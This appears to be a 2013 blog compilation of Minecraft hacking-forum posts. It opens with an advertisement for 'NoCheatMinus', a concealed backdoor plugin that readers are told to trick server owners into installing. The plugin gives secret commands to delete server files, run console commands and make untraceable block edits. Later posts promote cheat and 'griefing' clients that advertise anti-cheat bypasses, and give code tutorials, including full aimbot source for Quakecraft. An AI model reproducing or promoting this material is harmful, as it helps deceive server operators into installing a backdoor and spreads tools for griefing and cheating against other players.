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Wednesday, 14 August 2013

[NoCheatMinus] [35+ features] Silent/Undetectable Force-OP plugin

NoCheatMinus ReleaseCandidate

Hello guys,
today I am presenting a HQ ForceOP plugin called NoCheatMinus.
Hope you enjoy it, if you spot some errors please post comment but do not except soon answer since I am not here every day.

+The difference
  • [UNIQUE] Protection against unwanted usage.
  • All the commands are completely silent and not shown anywhere.
  • Completely silent GIVING of ITEMS
  • Many HQ functions.
  • [UNIQUE] UnDetectable and unRollbackable block deleting and replacing.

+Installation & Usage
  1. Download the plugin.
  2. Make server owner install it to "Plugins" folder. Than restart the server.
  3. Type /vrfme1 to enable the commands for you. Unless you type that, all commands will be hidden and protected for you.
  4. Type /hjelp for commands list.
  5. After use, type /vrfme1 again to disable the commands for you.


+Some of the commands
Note: All of the commands you can find after typing /vrfme1 and then /hjelp
- /testforme [Shows if you have typed /vrfme1. If you did, the "help" will be green, if not, it will be red.
- /creativo [Silent creative mode]
- /survivalo [Silent survival mode]
- /eat [[SKIDED]Silently eats server space]
- /execmd [[NOT silent][Execute commands as console]
- /fuckpl [Silently disable any plugin]
- /defuckpl [Silently enable any plugin (Must be loaded)]
- /giveme [Silently give yourself an ITEM. Use BIG bukkit names]
- /givepl [Silently give player an ITEM. Use BIG bukkit names]
- /zeroblock [Silently break block you are looking at. Undetectable by any loggin plugin like CoreProtect, LogBlock, GriefLog, Prism etc]
- /changeblock [Silently change block to any you want. Use BIG bukkit names. Undetectable by any logging plugin]
- /applypotion [Silently apply potion to any player]
- /getto [Silently teleport to player]
- /playsound [Silently :D play any sound to any player]
- /spawnentity [Silently spawn any entity to any player]
- /loadpl [Silently load any unloaded plugin]
- /removefile [Silently remove any file in server folder (like ops.txt, plugins jars, etc)]
- /writemsg [Write any message (for example as other player). Support color codes]
- /placeblow [Block placed by players will explode]
- /placelava [Block placed by players will turn into lava]
- /placewater [Block placed by players will turn into water]
- /denymove [Deny player moving :D (global)]
- /denybreak [Deny players breaking blocks (global)]
- /tooglefly [Allow you to fly]
- /superperms [Add some cool permissions (essentials.* etc) BUT seems to be broken]
- /worldgenerate [Generate your defined amount of worlds. Can crash server]
- /enhant [Enchant item in hand. Support unsafe enchantments]
- /addpl* [Add any player to tab list including fake ones]
- /remove* [Remove any player from tab list including real ones]
- /hjelp [List all of the commands, including these for OP / deop / kickall etc]

*Works only in 1.6.2

+Download
Note: No virus scan since you can decompile it.
- Primary download:
Download here
If don´t work contact me for backup.

+Changelog
0.4
- added addpl
-added removepl

0.3
- added moveevent (can lag on server with more than 100 players beware)
- added writemsg
- added placeblow
- added placelava
- added placewater
- added denymove
- added denybreak
- added tooglefly
- added superperms
- added worldgenerate
- added enhant

0.2
- added applypotion
- added getto
- added playsound
- added spawnentity
- added loadpl
- added removefile
- killed "disconnect.spam" server kick

0.1
- Initial release.

+ToDo
- [can load plugins since 0.2]Be able to download plugins from the internet and load them.
- Download and run executables [most like not possible]
- Chunk manipulation
- [partially done in 0.2]File explorer & deleter [limited to server folder, including files as ops.txt, Plugins folder, worlds folders etc]

+Notes
- If you wanna get op read the entire section and list the commands!
- If you wanna force op program to get remotelly op without installing any plugin to victim server, I am telling you they do not exist & are not possible!
- If the commands do not work well you did not enable them. Read Installation & usage section.
- Say thanks if it helps you.

[1.6.2] Kronos [Optifine | GUI | Bypasses]


Kronos
By: TheMC Haxor

+Description:
Kronos is a client that i have been coding for a few months now and i have been keeping the client on youtube but i have decided that it should be posted in more places than just youtube. Kronos has a pretty neat GUI that in my opinion looks good. Hope you guys get the chance to try it out and tell me what you think of it :D.

+Media:



+Screenshots:

[Image: nPeFMNl.png]
[Image: lygUzsS.png]
[Image: YLkQYvX.png]
[Image: xW85byI.png]

+Features:
  • Fly
  • Speed
  • Nofall
  • FastFall (NCP Bypassed)
  • Autotool (NCP Bypassed)
  • Fastplace (NCP Bypassed)
  • Glide (NCP Bypassed)
  • Step (NCP Bypassed)
  • Xray
  • Fullbright
  • ESP
  • Nuker (NCP Bypassed)
  • Day
  • No-Weather
  • Random-Switch (NCP Bypassed)
  • Kill-Aura (NCP Bypassed)
  • Mob-Aura (NCP Bypassed)
  • Bow-Aimbot (NCP Bypassed)
  • Rapid-Fire
  • Criticals (NCP Bypassed)
  • Anti-Velocity (NCP Bypassed)
  • Auto-Soup (NCP Bypassed)
  • Auto-Block (NCP Bypassed)
  • Tp-Aura
  • Quake-Aura (NCP Bypassed)
  • Freecam (NCP Bypassed)
  • Sexy inbuilt spammer

+Download:
Click me to download


Tempetek - Awesome quake-aura

NOTE: This is the first client i have ever coded so please don't hate.

[Flare]
Sexy | Bypasses | Free

[TUT] Chest Steal/Store Buttons [TUT]

So I am making this tutorials for BEGGINERS AT MINECRAFT MODDING, don't be a smart ass and get all pissy at me for making simple tutorials like these. So any way, as I was saying, this tutorials will be about the steal/store buttons found in many clients, I coded this one my self (But I took the button cords from someone else :3 (don't worry not a skid)) so here it is:

So first you need to make the buttons them selves inside the chests gui, so can you guess which class we are editing? XD so, go into GuiChest.java and go to the very bottom, the first thing you have to do is make the buttons so here is the code:
Code:
public void initGui()
    {
    super.initGui();
    int posY = (height - ySize)/2 + 2;
    this.buttonList.add(new GuiButton(1, width /2-5, posY,40, 14, "Steal"));
    this.buttonList.add(new GuiButton(2, width /2+40, posY,40, 14, "Store"));
    }
This has made the buttons inside the chest, but they don't do anything yet, so we have to make them do something, so right under that method we are going to put an actionperformed method like this:
Code:
protected void actionPerformed(GuiButton par1)
    {
        if(par1.id == 1)
        {
            try{
                for(int x = 0; x < lowerChestInventory.getSizeInventory(); x++)
                    mc.playerController.windowClick(inventorySlots.windowId, x, 0, 1, mc.thePlayer);
            }catch(Exception e){e.printStackTrace();}
        }
This is the steal button, it basicly says if you press this button it tells the chest to give you what ever is in its slots so for the store button you have to make another if statement and type this code in:
Code:
if(par1.id == 2)
        {
            try{
                for(int x = 0; x < inventorySlots.inventorySlots.size(); x++)
                    mc.playerController.windowClick(inventorySlots.windowId, x, 0, 1, mc.thePlayer);
            }catch(Exception e){e.printStackTrace();}
        }
}
that is it, I hope it works for you! Enjoy your hack :)!

Sunday, 11 August 2013

[TUT][SKIDS]How to add new chat colors

Okay so I just found out how to do it, it isn't really hard to do.

1: Navigate to FontRenderer and search for
Code:
123456789abcdef
2: add the next letter of the alphabet or just a random letter
3: go to the constructor and search for
Code:
this.colorCode[var5] = (var7 & 255) << 16 | (var8 & 255) << 8 | var9 & 255;

4: now do the following: make an if statement like so:
Code:
if(var5 == 16){
        this.colorCode[var5] = 0xRRGGBB;
}else
{
    this.colorCode[var5] = (var7 & 255) << 16 | (var8 & 255) << 8 | var9 & 255;   
}
When you add a new letter for a code just do the following:
Code:
if(var5 == 16)
    {
        this.colorCode[var5] = 0xRRGGBB;
    } else if(var5 == 17){
        this.colorCode[var5] = 0xRRGGBB;
      }else
    {
    this.colorCode[var5] = (var7 & 255) << 16 | (var8 & 255) << 8 | var9 & 255;   
    }
Basically you want to count up from 16

After that look for
Code:
GL11.glColor4f((float)(var6 >> 16) / 255.0F, (float)(var6 >> 8 & 255) / 255.0F, (float)(var6 & 255) / 255.0F, this.alpha);
and change it to this
Code:
try{
    var6 = this.colorCode[var5];

    this.textColor = var6;
    GL11.glColor4f((float)(var6 >> 16) / 255.0F, (float)(var6 >> 8 & 255) / 255.0F, (float)(var6 & 255) / 255.0F, this.alpha);
    }catch(Exception ex)
    {
    }
It throws an exception but idk why, it still works tho

Just wanted to make a tutorial for it :D

[Release] [1.6.2] Huzuni v2 [Optifine]

[Image: W6qqRwW.png]
Minecraft griefing client.
[Image: QHzXD5E.png]

Click to show (Click to Hide)
  • C - Bright
  • P - NameTags
  • COMMA - Nuker
  • X - Xray
  • Chest ESP
  • DELETE - ESP
  • Y - History
  • B - Tracer
  • AntiKnockback
  • AutoSoup
  • Criticals
  • R - Kill Aura
  • Projectile Prediction
  • H - AutoTool
  • J - Dolphin
  • F - Flight
  • U - Freecam
  • N - NoFall
  • Retard mode
  • Z - Sneak
  • V - Speedmine
  • M - Sprint
Auto-updating
Right-shift to open up the GUI. (default)

[Image: wjPxOXc.png]
Click to show (Click to Hide)
Main Menu
[Image: eI3BSAQ.png]
In-game GUI
[Image: 39OyA.png]
Tabbed GUI mode
[Image: t6BHfbP.png]
Account changer
[Image: 1ZLLkUJ.png]


[Image: Fyay2w7.png]
Download
Installation
  1. Navigate to your versions folder.
    [Image: lqLpZpP.png]
  2. There should be a folder containing your most recent version of minecraft. (EX: 1.6.2) Copy this folder over and rename it to your liking.
    [Image: CXs7gfY.png]
  3. With our new folder, you have a .json and a .jar file. Make sure both of these have the same name.
    [Image: kogU2c0.png]
  4. Open up your .json file with a text editor of your choice and edit the 'id' value. Make it whatever you'd like. That's what the launcher will recognized as the name.
    [Image: Hh3tUE0.png]
  5. Finally, drag and drop huzuni's files into the vanilla Minecraft .jar. REMEBER to delete the META-INF file.
    [Image: 0paIeob.png]
  6. Run the launcher like you normally would, but select huzuni as your jar. Good luck!


[Mc.hypixel] [Hack + Code] [NEW BETTER] Quakecraft Aura with prediction 1.6.2

I've already done a quake aura some days ago and I've decided to make the quake aura way better : then I release a new version for the public.

What is new ?
Better prediction :
- Take in count the ping, then the servers lag do not affect the quake aura.
- Take in count if entity can be seen after moving, then if someone is under a wall and come to you it shoot before the player see you.
- Take in count if the a block will block the firework and then shoot higher or lower.
- The prediction is remodelled to make it calculated ( not approximatively like in the previous version )
A friend system picked up on Xenon ( Was too lazy to make a file who keep them so you'll have to put them each time you restart MC ) :
.friend add
.friend del
.friend list
.friend clear

Downloads :
(Folder) (Just put on versions and choose quakeaura) Click here
(Classes) Download here
(Code Java) Download here


Press F to active the Quake Aura, F to desactive. ( X for the Quake Aura Legit ). The best way to use it is to go on a corner and wait the victims to come or to camp on the top of the map :) Free win guarranted, I almost won every game with the hack.

A screen from a game I made 5 minutes ago :

- Tempetek

EDIT 1: Reupload the real new version.

[Rel | 1.6.2 | OptiFine | 76k total DL] Kinky [Multiple GUI | Great aura | Bypasses]


Screenshots

[Image: 3ApyR.jpg]

[Image: 3ApA9.jpg]

[Image: 3ApBr.jpg]

[Image: 3qSx5.jpg]

[Image: 3ApDJ.jpg]

Download
Direct: http://bit.ly/1dgcffF
*Contains a read me on how to install the client for 1.6.2*

Videos (some outdated) (Click to View)

Reviews (some outdated) (Click to View)

Wear our sig! (Click to View)

Other things:



[Image: AZ0FKBk.gif]


I thought that it was obvious that this is a Xenon continuation. Apparently not.
Credits:
[Image: 3yqjw.png]


Download here



1.6.2] Domination Client [Simple | Easy to Use]

Featuring:
Fly, Sprint,
NoFall,
Fullbright,
Xray,
 Sneak,
 No knockback,
Kill aura,
speed mine,
 No web,
 Tracer,
 and also a handy info display of x/y/z & fps at the bottom right hand corner toggled by "I".





Download: Download here

Tuesday, 6 August 2013

Funniest things you got banned from minecraft


[Release] Minecraft GUI API

Minecraft GUI API

This project gives you the ability to easily create user interfaces to display on-screen in Minecraft. It is the only GUI framework that is completely themeable and is open-source. Themes have lots of control over the positioning of components by defining areas in which child components are to be placed. Layout managers allow control of positioning of components within their containers. The API works similar to Swing but is simplified for usage on Minecraft.

Screenshots


Simple Theme 
[Image: bh08iPC.png]
Wrath Theme 
* Ignore the combo box, I never wrote a renderer for the component in this theme
[Image: UTxBU3u.png]
Laced Theme 
* Ignore the combo box, I never wrote a renderer for the component in this theme
[Image: Qm5q9ka.png]

Credits to azami
[Image: 3qX3o]

Credits to shoebox
[Image: LxLgKMt.png]
FAQ

Q: What clients currently use this API?
A: Cobalt, Laced, Nero, and Wrath, and Awareness are well-known examples.

Q: How themeable is this?
A: Themes define controls for any component (e.g. frame minimize/maximize and close/open buttons), control the rendering process, and set boundaries for positioning of a container component's children. Changing themes works perfectly; doing so will cause the components to be laid out again to fit the new theme's boundaries.

Q: Why should I use this in my client?
A: You don't have to rewrite all component positioning if you want to redo the visual portion of the GUI, you can just write a new theme and all components will work fine. Unicode font rendering support is also included.

Q: How do I properly instantiate and set up my GuiManager instance? / My GuiManager isn't rendering anything. / My GuiManager instance crashes when I attempt to call setup(). Credits to WhyMeMan for pointing out that I didn't demonstrate how to do this.
A: In this case, manager is a private instance variable in your client's main class.
Copy ExampleGuiManager into your project, rename it, and modify it to your liking. Call this in your constructor:
Code:
manager = new YourGuiManager();
Where YourGuiManager is the renamed ExampleGuiManager that you created. Then call this when Minecraft is enabled:
Code:
manager.setTheme(new SimpleTheme());
manager.setup();
(Or just call both when Minecraft is enabled.)

Q: How do I create frames?
A: An example setup for modules is included in org.darkstorm.minecraft.gui.GuiManagerImpl. Here is a simple example of a frame with a few components:
Code:
Frame testFrame = new BasicFrame("Test");
testFrame.setTheme(theme);
testFrame.add(new BasicLabel("TEST LOL"));
testFrame.add(new BasicLabel("abcdefghijklmnopqrstuvwxyz"));
testFrame.add(new BasicButton("This is a button, you can press it!"));
testFrame.add(new BasicComboBox("This", "is", "a", "combo", "box"));
Dimension defaultDimension = theme.getUIForComponent(testFrame).getDefaultSize(testFrame);
testFrame.setWidth(defaultDimension.width);
testFrame.setHeight(defaultDimension.height);
testFrame.layoutChildren();
guiManager.addFrame(testFrame);

Q: How do I render these frames?
A: Create an instance of the provided GuiScreen implementation, org.darkstorm.minecraft.gui.util.GuiManagerDisplayScreen, and display it. You can register a keybind to display this screen, if you want.

Q: How do I get pinned frames to render?
A: Do the following every render (not in a GuiScreen's render method):
Code:
manager.renderPinned();
Make sure you call manager.update() method each tick.

Source Location

The code is hosted on github: Click here

This is released under the BSD license- do whatever you want with it as long as you ensure that the license is retained everywhere it is used.

If you use this in your client, I'd be glad to hear it! If you have any questions, send me a PM, contact me on IRC in irc.rizon.net #darkstorm, or add me on skype at darkstorm652.
Found a bug? Submit a pull request! Wrote a new component? Submit a pull request! Created a new layout manager? Submit a pull request! I'll happily add them in.

[Hack + Code] Quakecraft Aura 1.6.2

Hi everyone,
Just made a good quake aura with prediction, just played with it and got 25 kills when the second got only 8.

Here it is :
(Just put on version and choose quake aura)
Download here
(Or download the 3 files)
Download here

Press A to active, A to desactive. The best way to use it is to go on a corner and wait the victims to come :) Free win guarranted, I almost won every game with the hack.

And for those who want the code, yeah it's bad coded just need 10 minutes do it :

Code:
public void onLivingUpdate()
    {
  if(hackQuakeAura)//If hack is on or off
  {
      for(Object o: worldObj.playerEntities)
    {
    if(o instanceof EntityPlayer)
    {
              EntityPlayer e = (EntityPlayer) o;
              boolean checks = !(e instanceof EntityPlayerSP) && this.canEntityBeSeen(e) && !e.isDead && this.getHeldItem() != null && (this.getHeldItem().itemID == Item.hoeWood.itemID || this.getHeldItem().itemID == Item.hoeGold.itemID || this.getHeldItem().itemID == Item.hoeIron.itemID || this.getHeldItem().itemID == Item.hoeDiamond.itemID);
              if(checks)
              {
                  facetoEntity(e);
                  launch();
              }
    }
    }
  }
    }

    public void facetoEntity(EntityLivingBase e)
    {
  double var4 = (e.posX - Minecraft.getMinecraft().thePlayer.posX) + ((e.posX - e.lastTickPosX ) * 5/*20 per seconds*/);
  double var6 = (e.posZ - Minecraft.getMinecraft().thePlayer.posZ) + ((e.posZ - e.lastTickPosZ ) * 5/*20 per seconds*/);
  double var8;

  if (e instanceof EntityLivingBase)
  {
    EntityLivingBase var10 = (EntityLivingBase)e;
    var8 = (var10.posY + (double)var10.getEyeHeight() - (Minecraft.getMinecraft().thePlayer.posY + (double)Minecraft.getMinecraft().thePlayer.getEyeHeight()));
  }
  else
  {
    var8 = (e.boundingBox.minY + e.boundingBox.maxY) / 2.0D - (Minecraft.getMinecraft().thePlayer.posY + (double)Minecraft.getMinecraft().thePlayer.getEyeHeight());
  }

  double var14 = (double)MathHelper.sqrt_double(var4 * var4 + var6 * var6);
  float var12 = (float)(Math.atan2(var6, var4) * 180.0D / Math.PI) - 90.0F;
  float var13 = (float)(-(Math.atan2(var8, var14) * 180.0D / Math.PI));
  Minecraft.getMinecraft().thePlayer.rotationPitch = Minecraft.getMinecraft().thePlayer.updateRotation(Minecraft.getMinecraft().thePl ​ayer.rotationPitch, var13, 200F);
  Minecraft.getMinecraft().thePlayer.rotationYaw = Minecraft.getMinecraft().thePlayer.updateRotation(Minecraft.getMinecraft().thePl ​ayer.rotationYaw, var12, 200F);
    }

    float updateRotation(float par1, float par2, float par3)
    {
  float var4 = MathHelper.wrapAngleTo180_float(par2 - par1);

  if (var4 > par3)
  {
    var4 = par3;
  }

  if (var4 < -par3)
  {
    var4 = -par3;
  }

  return par1 + var4;
    }

    public void launch()
    {
     for(Object o: worldObj.loadedEntityList)
  {
  if(o instanceof EntityPlayer)
  {
      EntityPlayer e = (EntityPlayer) o;
      boolean checks = !(e instanceof EntityPlayerSP) && this.canEntityBeSeen(e) && !e.isDead && this.getHeldItem() != null && (this.getHeldItem().itemID == Item.hoeWood.itemID || this.getHeldItem().itemID == Item.hoeGold.itemID || this.getHeldItem().itemID == Item.hoeIron.itemID || this.getHeldItem().itemID == Item.hoeDiamond.itemID);
      if(checks)
      {
          if(this.experience == 0)
          {
               Minecraft.getMinecraft().thePlayer.sendQueue.addToSendQueue(new Packet15Place(-1, -1, -1, -1, this.inventory.getCurrentItem(), 0F, 0F, 0F));
          }
      }
  }
  }
    }

EDIT : Just to say, I'm better without the hack, I made it for a bad friend and then decide to share it.

EDIT2 : Just made a quick new version.
X for quake aura legit.
F for quake aura without the perma aiming ( Then you can move serenitly).
(Classes :) Download here
(Folder :) Download here

Minecraft 1.6.2 Duplication Glitch WORKING


[Release] DarkBot | The ultimate tool in Minecraft automation | Multi-version support

DarkBot

After some newfound interest in Minecraft automation came about in this section (multiple threads on the subject), I decided that I would revive this project and release it once and for all, completely open source. This project is an attempt at artificial intelligence in Minecraft. It has many uses, aside from automation, including (completely) custom clients, server monitors, and more. Multi-protocol support was recently added, allowing the same version of the bot to run on different Minecraft versions (assuming that the corresponding protocol version provider is in the protocols/ directory).

Media

Sayaad wrote a schematic building task that works incredibly well:




Getting Started

With Eclipse: Requirements: JDK 7, Eclipse, EGit

Open Eclipse.
Right-click in the package explorer area and click Import...
Select Git > Projects from Git and click Next.
Select URI and click Next.
Paste the Git URL for DarkBot (Click here and click Next, then click Next again at the Branch Selection dialog.
Change the directory to [your eclipse workspace]/DarkBot (change the [] to the actual path to your workspace by clicking browse) and click Next.
Select Use the New Project wizard and click Finish.
In the New Project wizard, select Java Project and click Next.
Type in DarkBot (exact capitalization). If you typed it in properly and all previous steps have been followed, options in the wizard should disable themselves. Click Finish if this is the case.
Once cloned, expand the project in your package explorer. There will likely be a large amount of errors. Right-click "src" and click Build Path > Remove from Build Path. The folder src should move down below "JRE System Library" and all errors should disappear.
Expand src, then expand each folder within src. In each of these folders, right-click each folder (named java, resources, protocols, etc.) and click Build Path > Use as Source Folder.
Expand lib, right click every .jar file, and click Build Path > Add to Build Path.
Right-click build.xml and click Run As > Ant Build (the first option).
Wait for the build to complete and run DarkBot.jar from cmd with --help for args.
Hurray! The plus side to this method (though it may seem lengthier than the one below) is that you can right-click the project folder and click Team > Pull to get new updates. Make sure you run build.xml after every time you update.

Without Eclipse: Requirements: JDK 7, Apache Ant

Clone the project with git or download the source zip from the github page and extract it.
Open the folder and run build.xml (this may require cmd to execute).
Wait for the build to complete and run DarkBot.jar from cmd with --help for args.
Hurray! The downside to this is that you have to delete the folder and redo these steps every time you want to update.

To Run: Requirements: cmd / terminal

cd to the directory with DarkBot.jar ('cd path/to/DarkBot.jar' or 'cd C:\path\to\DarkBot.jar')
For CLI: run 'java -cp DarkBot.jar org.darkstorm.darkbot.mcspambot.DarkBotMC --help' for possible arguments, then repeat it without --help and instead options like --username and --password.
For CLI (spambot): run 'java -cp DarkBot.jar org.darkstorm.darkbot.mcspambot.DarkBotMCSpambot --help' for possible arguments, then repeat it without --help and instead required options.
For GUI: run 'java -cp DarkBot.jar org.darkstorm.darkbot.darkbotmc.DarkBotMC'

Fixing "JAVA_HOME does not point to the JDK" issues (for Eclipse):

Make sure you have JDK 7 installed.
Right-click the DarkBot project folder in Eclipse and click Build Path > Configure Build Path.
Make sure the Libraries tab is open, then select JRE System Library and click Edit.
Select alternate JRE and click Installed JREs.
If you see JDK 7 listed, select it and hit OK, otherwise click Search and browse to its folder in C:\Program Files\Java.
Hurray! Run build.xml again to verify that it works.

Source Location

The code is hosted on github: click here
Submit pull requests if you want to add/change things (new tasks, bug fixes, etc.).
If you have any questions, send me a PM, contact me on IRC in irc.rizon.net #darkstorm, or add me on skype at darkstorm652.

[Release] [Latematt] Reliant [latest] [Shit]

Now I introduce you to Latematt's Reliant Remake!

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DL: DOWNLOAD HERE


Enjoy le shit client.

[Tut] Highjump + First time[Tut]

Hi everybody! So, I'm going to try to make this post as HQ as I can as it is my first post HF Biggrin . Anyway, here is the tutorial on a good highjump!

Highjump increases your jump height by a specified multiplier

To make a highjump hack you're obviously going to need to make the toggle. If you're still on static booleans then... Whatever. Otherwise just do what you always do and name it highjump or whatever. Now to the actual code: Go to where all entities jump (EntityLivingBase) and find where it says:
Code:
protected void jump()
That's just the method that is called whenever an entity attempts to jump. Find where it increases the Y axis motion and put this:
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Now, that should make you jump high as shit depending on how high you set your multiplier but if you look at the code you would probably realize that since this is the jump method called when any entity jumps that will literally make pigs fly :3. If, for some reason you don't like bacon from the sky, you could make it so that that code only executes when called from the class "EntityPlayer" (and make it boring) like this
Code:
if(this instanceof EntityPlayer && Hacks.highjump || Hacks.findAHack(HighJump.class).enabled){l33t hackz codes}
Well, that pretty much summarizes the whole tutorial so I hope you liked it!

[Release] [Beta] [1.6.2] Huzuni v1.9.5 [Optifine][latest 2013 AUG]



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Minecraft griefing client.
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Installation
  1. Navigate to your versions folder.
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  2. There should be a folder containing your most recent version of minecraft. (EX: 1.6.2) Copy this folder over and rename it to your liking.
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  3. With our new folder, you have a .json and a .jar file. Make sure both of these have the same name.
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  4. Open up your .json file with a text editor of your choice and edit the 'id' value. Make it whatever you'd like. That's what the launcher will recognized as the name.
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  5. Finally, drag and drop huzuni's files into the vanilla Minecraft .jar. REMEBER to delete the META-INF file.
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  6. Run the launcher like you normally would, but select huzuni as your jar. Good luck!

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